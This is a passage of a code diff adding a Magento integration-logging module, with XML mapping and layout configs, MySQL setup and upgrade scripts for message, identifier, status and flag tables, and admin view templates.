<routers>
|
78 |
+
<ampersand_integration_admin>
|
79 |
+
<use>admin</use>
|
80 |
+
<args>
|
81 |
+
<module>Ampersand_Integration_Adminhtml</module>
|
82 |
+
<frontName>integration-admin</frontName>
|
83 |
+
</args>
|
84 |
+
</ampersand_integration_admin>
|
85 |
+
</routers>
|
86 |
+
</admin>
|
87 |
+
<adminhtml>
|
88 |
+
<layout>
|
89 |
+
<updates>
|
90 |
+
<ampersand_integration_admin>
|
91 |
+
<file>ampersand_integration.xml</file>
|
92 |
+
</ampersand_integration_admin>
|
93 |
+
</updates>
|
94 |
+
</layout>
|
95 |
+
</adminhtml>
|
96 |
+
</config>
|
app/code/core/Ampersand/Integration/etc/integration/in.types.xml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<types>
|
3 |
+
<firstname mapper="function">
|
4 |
+
<_function>implode</_function>
|
5 |
+
<_params>
|
6 |
+
<glue> </glue>
|
7 |
+
<array mapper="function">
|
8 |
+
<_function>explode</_function>
|
9 |
+
<_params>
|
10 |
+
<delimiter> </delimiter>
|
11 |
+
<string mapper="all_data"/>
|
12 |
+
<limit>-1</limit>
|
13 |
+
</_params>
|
14 |
+
</array>
|
15 |
+
</_params>
|
16 |
+
</firstname>
|
17 |
+
|
18 |
+
<lastname mapper="function">
|
19 |
+
<_function>end</_function>
|
20 |
+
<_params>
|
21 |
+
<array mapper="function">
|
22 |
+
<_function>explode</_function>
|
23 |
+
<_params>
|
24 |
+
<delimiter> </delimiter>
|
25 |
+
<string mapper="all_data"/>
|
26 |
+
</_params>
|
27 |
+
</array>
|
28 |
+
</_params>
|
29 |
+
</lastname>
|
30 |
+
</types>
|
app/code/core/Ampersand/Integration/etc/integration/out.types.xml
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<types>
|
3 |
+
<!-- scope for product_url should be a product object -->
|
4 |
+
<product_url mapper="method">
|
5 |
+
<_object mapper="field_path">url_model</_object>
|
6 |
+
<_method>getProductUrl</_method>
|
7 |
+
<_params>
|
8 |
+
<product mapper="all_data"/>
|
9 |
+
</_params>
|
10 |
+
</product_url>
|
11 |
+
</types>
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-install-1.0.0.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
CREATE TABLE `{$this->getTable('ampersand_integration/service_info')}` (
|
8 |
+
`entity_id` MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT,
|
9 |
+
`created_at` DATETIME NOT NULL,
|
10 |
+
`updated_at` DATETIME NOT NULL,
|
11 |
+
`code` VARCHAR(40) NOT NULL,
|
12 |
+
`description` VARCHAR(100),
|
13 |
+
PRIMARY KEY (`entity_id`),
|
14 |
+
UNIQUE KEY (`code`)
|
15 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
16 |
+
|
17 |
+
CREATE TABLE `{$this->getTable('ampersand_integration/message')}` (
|
18 |
+
`entity_id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
|
19 |
+
`created_at` DATETIME NOT NULL,
|
20 |
+
`updated_at` DATETIME NOT NULL,
|
21 |
+
`name` VARCHAR(100),
|
22 |
+
`service_id` MEDIUMINT UNSIGNED,
|
23 |
+
`log_file_path` VARCHAR(100),
|
24 |
+
`state` TINYINT UNSIGNED NOT NULL, #success, failure, mixed, etc. as int
|
25 |
+
`direction` TINYINT UNSIGNED NOT NULL, #incoming, outgoing as int
|
26 |
+
`nr_of_attempts` SMALLINT UNSIGNED NOT NULL,
|
27 |
+
PRIMARY KEY (`entity_id`),
|
28 |
+
KEY `IDX_NAME` (`name`),
|
29 |
+
KEY `IDX_CREATED_AT` (`created_at`),
|
30 |
+
KEY `IDX_UPDATED_AT` (`updated_at`),
|
31 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_MESSAGE_SERVICE_ID` FOREIGN KEY (`service_id`)
|
32 |
+
REFERENCES `{$this->getTable('ampersand_integration/service_info')}` (`entity_id`) ON DELETE CASCADE
|
33 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
34 |
+
|
35 |
+
CREATE TABLE `{$this->getTable('ampersand_integration/message_identifier')}` (
|
36 |
+
`entity_id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
|
37 |
+
`message_id` INT UNSIGNED NOT NULL,
|
38 |
+
`referenced_in` VARCHAR(25),
|
39 |
+
`name` VARCHAR(60),
|
40 |
+
`type` VARCHAR(80),
|
41 |
+
`value` VARCHAR(100),
|
42 |
+
PRIMARY KEY (`entity_id`),
|
43 |
+
KEY `IDX_NAME` (`name`),
|
44 |
+
KEY `IDX_VALUE` (`value`),
|
45 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_MESSAGE_IDENTIFIER_MESSAGE_ID` FOREIGN KEY (`message_id`)
|
46 |
+
REFERENCES `{$this->getTable('ampersand_integration/message')}` (`entity_id`) ON DELETE CASCADE
|
47 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
48 |
+
|
49 |
+
");
|
50 |
+
|
51 |
+
$this->endSetup();
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.0.0-1.0.1.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
CREATE TABLE IF NOT EXISTS `{$this->getTable('ampersand_integration/stockUpdate')}` (
|
8 |
+
`sku` VARCHAR (64) NOT NULL,
|
9 |
+
`quantity` DECIMAL(12,4) NOT NULL,
|
10 |
+
`created_at` DATETIME NOT NULL,
|
11 |
+
PRIMARY KEY (`sku`),
|
12 |
+
KEY (`created_at`),
|
13 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_STOCKUPDATE_SKU` FOREIGN KEY (`sku`)
|
14 |
+
REFERENCES `{$this->getTable('catalog/product')}` (`sku`) ON DELETE CASCADE ON UPDATE CASCADE
|
15 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
16 |
+
|
17 |
+
");
|
18 |
+
|
19 |
+
$this->endSetup();
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.0.1-1.0.2.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
CREATE TABLE `{$this->getTable('ampersand_integration/status')}` (
|
8 |
+
`entity_id` MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT,
|
9 |
+
`service_id` MEDIUMINT UNSIGNED,
|
10 |
+
`code` VARCHAR(60) NOT NULL,
|
11 |
+
`text` TEXT NOT NULL,
|
12 |
+
`short_text` TEXT,
|
13 |
+
`type` VARCHAR(16) NOT NULL DEFAULT 'error',
|
14 |
+
PRIMARY KEY (`entity_id`),
|
15 |
+
UNIQUE KEY (`service_id`, `code`)
|
16 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
17 |
+
|
18 |
+
CREATE TABLE `{$this->getTable('ampersand_integration/flag')}` (
|
19 |
+
`entity_id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
|
20 |
+
`created_at` DATETIME NOT NULL,
|
21 |
+
`status_id` MEDIUMINT UNSIGNED,
|
22 |
+
`service_id` MEDIUMINT UNSIGNED,
|
23 |
+
`message_id` INT UNSIGNED,
|
24 |
+
`identifier_id` INT UNSIGNED,
|
25 |
+
`text` TEXT,
|
26 |
+
`short_text` TEXT,
|
27 |
+
PRIMARY KEY (`entity_id`),
|
28 |
+
KEY (`created_at`),
|
29 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_FLAG_STATUS_ID` FOREIGN KEY (`status_id`)
|
30 |
+
REFERENCES `{$this->getTable('ampersand_integration/status')}` (`entity_id`) ON DELETE CASCADE,
|
31 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_FLAG_SERVICE_ID` FOREIGN KEY (`service_id`)
|
32 |
+
REFERENCES `{$this->getTable('ampersand_integration/service_info')}` (`entity_id`) ON DELETE CASCADE,
|
33 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_FLAG_MESSAGE_ID` FOREIGN KEY (`message_id`)
|
34 |
+
REFERENCES `{$this->getTable('ampersand_integration/message')}` (`entity_id`) ON DELETE CASCADE,
|
35 |
+
CONSTRAINT `AMPERSAND_INTEGRATION_FLAG_IDENTIFIER_ID` FOREIGN KEY (`identifier_id`)
|
36 |
+
REFERENCES `{$this->getTable('ampersand_integration/message_identifier')}` (`entity_id`) ON DELETE SET NULL
|
37 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
38 |
+
|
39 |
+
");
|
40 |
+
|
41 |
+
$this->endSetup();
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.3-1.2.4.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
ALTER TABLE `{$this->getTable('ampersand_integration/message')}`
|
8 |
+
DROP COLUMN `nr_of_attempts`
|
9 |
+
;
|
10 |
+
|
11 |
+
ALTER TABLE `{$this->getTable('ampersand_integration/message_identifier')}`
|
12 |
+
DROP COLUMN `referenced_in`,
|
13 |
+
ADD COLUMN `parent_id` INT UNSIGNED,
|
14 |
+
ADD COLUMN `level` TINYINT UNSIGNED NOT NULL DEFAULT 0,
|
15 |
+
ADD CONSTRAINT `AMPERSAND_INTEGRATION_MESSAGE_IDENTIFIER_PARENT_ID` FOREIGN KEY (`parent_id`)
|
16 |
+
REFERENCES `{$this->getTable('ampersand_integration/message_identifier')}` (`entity_id`) ON DELETE CASCADE
|
17 |
+
;
|
18 |
+
|
19 |
+
ALTER TABLE `{$this->getTable('ampersand_integration/flag')}`
|
20 |
+
ADD COLUMN `type` TINYINT UNSIGNED,
|
21 |
+
ADD COLUMN `resolved_at` DATETIME
|
22 |
+
;
|
23 |
+
|
24 |
+
");
|
25 |
+
|
26 |
+
$this->endSetup();
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.6-1.2.7.php
ADDED
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
ALTER TABLE `{$this->getTable('ampersand_integration/message_identifier')}`
|
8 |
+
ADD COLUMN `state` TINYINT UNSIGNED NOT NULL DEFAULT 0
|
9 |
+
;
|
10 |
+
|
11 |
+
");
|
12 |
+
|
13 |
+
$this->endSetup();
|
app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.7-1.2.8.php
ADDED
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$this->startSetup();
|
4 |
+
|
5 |
+
$this->run("
|
6 |
+
|
7 |
+
ALTER TABLE `{$this->getTable('ampersand_integration/message_identifier')}`
|
8 |
+
ADD COLUMN `include_in_count` TINYINT NOT NULL DEFAULT 0
|
9 |
+
;
|
10 |
+
|
11 |
+
");
|
12 |
+
|
13 |
+
$this->endSetup();
|
app/design/adminhtml/base/default/layout/ampersand_integration.xml
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<layout>
|
3 |
+
<ampersand_integration_admin_message_index>
|
4 |
+
<reference name="content">
|
5 |
+
<block type="ampersand_integration_admin/message" name="message"/>
|
6 |
+
</reference>
|
7 |
+
</ampersand_integration_admin_message_index>
|
8 |
+
|
9 |
+
<ampersand_integration_admin_message_view>
|
10 |
+
<reference name="content">
|
11 |
+
<block type="ampersand_integration_admin/message_view" name="message" template="ampersand_integration/message/view.phtml">
|
12 |
+
<block type="ampersand_integration_admin/message_view_overview" name="message.overview" as="overview" template="ampersand_integration/message/view/overview.phtml"/>
|
13 |
+
<block type="adminhtml/widget" name="message.related_objects" as="related_objects" template="ampersand_integration/message/view/related-objects.phtml">
|
14 |
+
<block type="ampersand_integration_admin/message_view_relatedObjects_grid" name="message.related_objects.grid" as="grid"/>
|
15 |
+
</block>
|
16 |
+
<block type="adminhtml/widget" name="message.flags" as="flags" template="ampersand_integration/message/view/flags.phtml">
|
17 |
+
<block type="ampersand_integration_admin/message_view_flags_grid" name="message.flags.grid" as="grid"/>
|
18 |
+
</block>
|
19 |
+
<block type="ampersand_integration_admin/message_view_logContent" name="message.log_content" as="log_content" template="ampersand_integration/message/view/log-content.phtml">
|
20 |
+
<block type="ampersand_integration_admin/message_view_logContent_pair" name="message.log_content.pair_renderer" as="pair_renderer" template="ampersand_integration/message/view/log-content/pair.phtml"/>
|
21 |
+
<block type="ampersand_integration_admin/message_view_logContent_xmlElement" name="message.log_content.xml_element_renderer" as="xml_element_renderer" template="ampersand_integration/message/view/log-content/xml-element.phtml"/>
|
22 |
+
</block>
|
23 |
+
</block>
|
24 |
+
</reference>
|
25 |
+
</ampersand_integration_admin_message_view>
|
26 |
+
|
27 |
+
<ampersand_integration_admin_messageidentifier_index>
|
28 |
+
<reference name="content">
|
29 |
+
<block type="ampersand_integration_admin/messageIdentifier" name="messageIdentifier"/>
|
30 |
+
</reference>
|
31 |
+
</ampersand_integration_admin_messageidentifier_index>
|
32 |
+
|
33 |
+
<ampersand_integration_admin_flag_index>
|
34 |
+
<reference name="content">
|
35 |
+
<block type="ampersand_integration_admin/flag" name="flag"/>
|
36 |
+
</reference>
|
37 |
+
</ampersand_integration_admin_flag_index>
|
38 |
+
|
39 |
+
<ampersand_integration_admin_flag_view>
|
40 |
+
<reference name="content">
|
41 |
+
<block type="ampersand_integration_admin/flag_view" name="flag" template="ampersand_integration/flag/view.phtml">
|
42 |
+
<block type="ampersand_integration_admin/flag_view_overview" name="flag.overview" as="overview" template="ampersand_integration/flag/view/overview.phtml"/>
|
43 |
+
<block type="ampersand_integration_admin/message_view_overview" name="flag.message" as="message" template="ampersand_integration/message/view/overview.phtml">
|
44 |
+
<action method="setTitle" translate="title"><title>Message Details</title></action>
|
45 |
+
<action method="setShowMessageLink"><show_message_link>1</show_message_link></action>
|
46 |
+
</block>
|
47 |
+
<block type="ampersand_integration_admin/flag_view_identifier" name="flag.identifier" as="identifier" template="ampersand_integration/flag/view/identifier.phtml"/>
|
48 |
+
</block>
|
49 |
+
</reference>
|
50 |
+
</ampersand_integration_admin_flag_view>
|
51 |
+
</layout>
|
app/design/adminhtml/base/default/template/ampersand_integration/flag/view.phtml
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php $helper = Mage::helper('ampersand_integration') ?>
|
2 |
+
<?php $message = $this->getMessage() ?>
|
3 |
+
<?php $identifier = $this->getIdentifier() ?>
|
4 |
+
<?php $flag = $this->getFlag() ?>
|
5 |
+
|
6 |
+
<div class="content-header">
|
7 |
+
<?php echo $this->getHeaderHtml() ?>
|
8 |
+
<p class="form-buttons"><?php echo $this->getButtonsHtml('header') ?></p>
|
9 |
+
</div>
|
10 |
+
|
11 |
+
<div class="entry-edit">
|
12 |
+
<?php echo $this->getChildHtml('overview') ?>
|
13 |
+
|
14 |
+
<?php if ($message && $identifier): ?>
|
15 |
+
<div class="box-left">
|
16 |
+
<?php endif ?>
|
17 |
+
<?php if ($message): ?>
|
18 |
+
<?php echo $this->getChildHtml('message') ?>
|
19 |
+
<?php endif ?>
|
20 |
+
<?php if ($message && $identifier): ?>
|
21 |
+
</div>
|
22 |
+
<?php endif ?>
|
23 |
+
|
24 |
+
<?php if ($identifier): ?>
|
25 |
+
<div class="box-right">
|
26 |
+
<?php echo $this->getChildHtml('identifier') ?>
|
27 |
+
</div>
|
28 |
+
<?php endif ?>
|
29 |
+
<div class="clear"></div>
|
30 |
+
</div>
|
31 |
+
|
32 |
+
<?php if ($this->hasFooterButtons()): ?>
|
33 |
+
<div class="content-footer">
|
34 |
+
<p class="form-buttons"><?php echo $this->getButtonsHtml('footer') ?></p>
|
35 |
+
</div>
|
36 |
+
<?php endif; ?>
|
app/design/adminhtml/base/default/template/ampersand_integration/flag/view/identifier.phtml
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php $helper = Mage::helper('ampersand_integration') ?>
|
2 |
+
<?php $identifier = $this->getIdentifier() ?>
|
3 |
+
|
4 |
+
<div>
|
5 |
+
<div class="entry-edit-head">
|
6 |
+
<h4><?php echo $helper->__('Entity Reference Details') ?></h4>
|
7 |
+
<div class="tools">
|
8 |
+
<a href="<?php echo $identifier->getRedirectUrl() ?>"><?php echo $this->__('View Referenced Entity') ?></a>
|
9 |
+
</div>
|
10 |
+
</div>
|
11 |
+
<div class="fieldset">
|
12 |
+
<table cellspacing="0" class="form-list">
|
13 |
+
<tr>
|
14 |
+
<td class="label"><label><?php echo $helper->__('Reference Code') ?></label></td>
|
15 |
+
<td><strong><?php echo $identifier->getName() ?></strong></td>
|
16 |
+
</tr>
|
17 |
+
<tr>
|
18 |
+
<td class="label"><label><?php echo $helper->__('Type') ?></label></td>
|
19 |
+
<td><strong><?php echo $identifier->getType() ?></strong></td>
|
20 |
+
</tr>
|
21 |
+
<tr>
|
22 |
+
<td class="label"><label><?php echo $helper->__('Value') ?></label></td>
|
23 |
+
<td><strong><?php echo $identifier->getValue() ?></strong></td>
|
24 |
+
</tr>
|
25 |
+
</table>
|
26 |
+
</div>
|
27 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/flag/view/overview.phtml
ADDED
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php $helper = Mage::helper('ampersand_integration') ?>
|
2 |
+
<?php $flag = $this->getFlag() ?>
|
3 |
+
<?php $status = $this->getStatus() ?>
|
4 |
+
|
5 |
+
<div>
|
6 |
+
<div class="entry-edit-head">
|
7 |
+
<h4><?php echo $helper->__('Overview') ?></h4>
|
8 |
+
</div>
|
9 |
+
<div class="fieldset">
|
10 |
+
<table cellspacing="0" class="form-list">
|
11 |
+
<tr>
|
12 |
+
<td class="label"><label><?php echo $helper->__('Related Service') ?></label></td>
|
13 |
+
<td><strong><?php echo $flag->getService()->getDescription() ?></strong></td>
|
14 |
+
</tr>
|
15 |
+
<?php if ($status): ?>
|
16 |
+
<tr>
|
17 |
+
<td class="label"><label><?php echo $helper->__('Flag Type') ?></label></td>
|
18 |
+
<td><strong><?php echo $status->getType() ?></strong></td>
|
19 |
+
</tr>
|
20 |
+
<tr>
|
21 |
+
<td class="label"><label><?php echo $helper->__('Status Code') ?></label></td>
|
22 |
+
<td><strong><?php echo $status->getCode() ?></strong></td>
|
23 |
+
</tr>
|
24 |
+
<?php if ($status->getText()): ?>
|
25 |
+
<tr>
|
26 |
+
<td class="label"><label><?php echo $helper->__('Description') ?></label></td>
|
27 |
+
<td><strong><?php echo $status->getText() ?></strong></td>
|
28 |
+
</tr>
|
29 |
+
<?php endif ?>
|
30 |
+
<?php endif ?>
|
31 |
+
<?php if ($flag->getShortText()): ?>
|
32 |
+
<tr>
|
33 |
+
<td class="label"><label><?php echo $helper->__('Flag Short Text') ?></label></td>
|
34 |
+
<td><strong><?php echo Mage::helper('ampersand_core')->prepareStringForHtmlRender($flag->getShortText()) ?></strong></td>
|
35 |
+
</tr>
|
36 |
+
<?php endif ?>
|
37 |
+
<?php if ($flag->getText()): ?>
|
38 |
+
<tr>
|
39 |
+
<td class="label"><label><?php echo $helper->__('Flag Full Text') ?></label></td>
|
40 |
+
<td><strong><?php echo Mage::helper('ampersand_core')->prepareStringForHtmlRender($flag->getText()) ?></strong></td>
|
41 |
+
</tr>
|
42 |
+
<?php endif ?>
|
43 |
+
</table>
|
44 |
+
</div>
|
45 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view.phtml
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div class="content-header">
|
2 |
+
<?php echo $this->getHeaderHtml() ?>
|
3 |
+
<p class="form-buttons"><?php echo $this->getButtonsHtml('header') ?></p>
|
4 |
+
</div>
|
5 |
+
|
6 |
+
<div class="entry-edit">
|
7 |
+
<?php echo $this->getChildHtml('overview') ?>
|
8 |
+
<?php echo $this->getChildHtml('related_objects') ?>
|
9 |
+
<?php echo $this->getChildHtml('flags') ?>
|
10 |
+
<?php if ($this->getCanShowLogContent()): ?>
|
11 |
+
<?php echo $this->getChildHtml('log_content') ?>
|
12 |
+
<?php endif ?>
|
13 |
+
</div>
|
14 |
+
|
15 |
+
<?php if ($this->hasFooterButtons()): ?>
|
16 |
+
<div class="content-footer">
|
17 |
+
<p class="form-buttons"><?php echo $this->getButtonsHtml('footer') ?></p>
|
18 |
+
</div>
|
19 |
+
<?php endif; ?>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/flags.phtml
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div>
|
2 |
+
<div class="entry-edit-head">
|
3 |
+
<h4><?php echo Mage::helper('ampersand_integration')->__('Flags') ?></h4>
|
4 |
+
</div>
|
5 |
+
<div class="fieldset">
|
6 |
+
<?php echo $this->getChildHtml('grid') ?>
|
7 |
+
</div>
|
8 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content.phtml
ADDED
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php $helper = Mage::helper('ampersand_integration') ?>
|
2 |
+
|
3 |
+
<script type="text/javascript">
|
4 |
+
//<![CDATA[
|
5 |
+
Event.observe(window, 'load', function() {
|
6 |
+
$$('.log-value-placeholder').each(function(element) {
|
7 |
+
element.observe('click', function() {
|
8 |
+
toggleLogItem($(this));
|
9 |
+
});
|
10 |
+
element.previous('.log-name').observe('click', function() {
|
11 |
+
toggleLogItem($(this).next('.log-value-placeholder'));
|
12 |
+
});
|
13 |
+
});
|
14 |
+
});
|
15 |
+
|
16 |
+
function toggleLogItem($placeholder)
|
17 |
+
{
|
18 |
+
Effect.toggle($placeholder.previous('.log-value'), 'blind', {duration: 0.2});
|
19 |
+
$placeholder.toggle();
|
20 |
+
}
|
21 |
+
//]]>
|
22 |
+
</script>
|
23 |
+
|
24 |
+
<div>
|
25 |
+
<div class="entry-edit-head">
|
26 |
+
<h4><?php echo $helper->__('Log Content') ?></h4>
|
27 |
+
</div>
|
28 |
+
<div class="fieldset">
|
29 |
+
<?php echo $this->getLogContentHtml() ?>
|
30 |
+
</div>
|
31 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content/pair.phtml
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div>
|
2 |
+
<div>
|
3 |
+
<?php echo $this->escapeHtml($this->getFieldName()) ?>
|
4 |
+
|
5 |
+
<?php if ($this->getIsLeaf()): ?>
|
6 |
+
<strong>
|
7 |
+
<?php endif ?>
|
8 |
+
|
9 |
+
<?php if ($this->getIsLeaf() && 1 == $this->getNrOfLines()): ?>
|
10 |
+
= <?php echo $this->getFieldValueHtml() ?>
|
11 |
+
<?php else: ?>
|
12 |
+
<div style="margin-left:20px"><?php echo $this->getFieldValueHtml() ?></div>
|
13 |
+
<?php endif ?>
|
14 |
+
|
15 |
+
<?php if ($this->getIsLeaf()): ?>
|
16 |
+
</strong>
|
17 |
+
<?php endif ?>
|
18 |
+
</div>
|
19 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content/xml-element.phtml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div>
|
2 |
+
<div>
|
3 |
+
<strong><?php echo $this->escapeHtml($this->getFieldName()) ?></strong>
|
4 |
+
|
5 |
+
<?php if ($this->getIsLeaf()): ?>
|
6 |
+
=
|
7 |
+
<?php endif ?>
|
8 |
+
|
9 |
+
<em>
|
10 |
+
<?php echo $this->getFieldType() ?>
|
11 |
+
<?php if ($this->getFieldTypeInfo()): ?>
|
12 |
+
(<?php echo $this->escapeHtml($this->getFieldTypeInfo()) ?>)
|
13 |
+
<?php endif ?>
|
14 |
+
</em>
|
15 |
+
|
16 |
+
<?php if ($this->getIsLeaf()): ?>
|
17 |
+
<strong>
|
18 |
+
<?php endif ?>
|
19 |
+
|
20 |
+
<?php if ($this->getIsLeaf() && 1 == $this->getNrOfLines()): ?>
|
21 |
+
<?php echo $this->getFieldValueHtml() ?>
|
22 |
+
<?php else: ?>
|
23 |
+
<div style="margin-left:20px"><?php echo $this->getFieldValueHtml() ?></div>
|
24 |
+
<?php endif ?>
|
25 |
+
|
26 |
+
<?php if ($this->getIsLeaf()): ?>
|
27 |
+
</strong>
|
28 |
+
<?php endif ?>
|
29 |
+
</div>
|
30 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/overview.phtml
ADDED
@@ -0,0 +1,47 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php $helper = Mage::helper('ampersand_integration') ?>
|
2 |
+
<?php $message = $this->getMessage() ?>
|
3 |
+
<?php $service = $this->getService() ?>
|
4 |
+
|
5 |
+
<div>
|
6 |
+
<div class="entry-edit-head">
|
7 |
+
<h4><?php echo $this->getTitle() ? $this->getTitle() : $helper->__('Overview') ?></h4>
|
8 |
+
<?php if ($this->getShowMessageLink()): ?>
|
9 |
+
<div class="tools">
|
10 |
+
<a href="<?php echo $this->getMessageUrl() ?>"><?php echo $this->__('View Message # %s', $message->getId()) ?></a>
|
11 |
+
</div>
|
12 |
+
<?php endif ?>
|
13 |
+
</div>
|
14 |
+
<div class="fieldset">
|
15 |
+
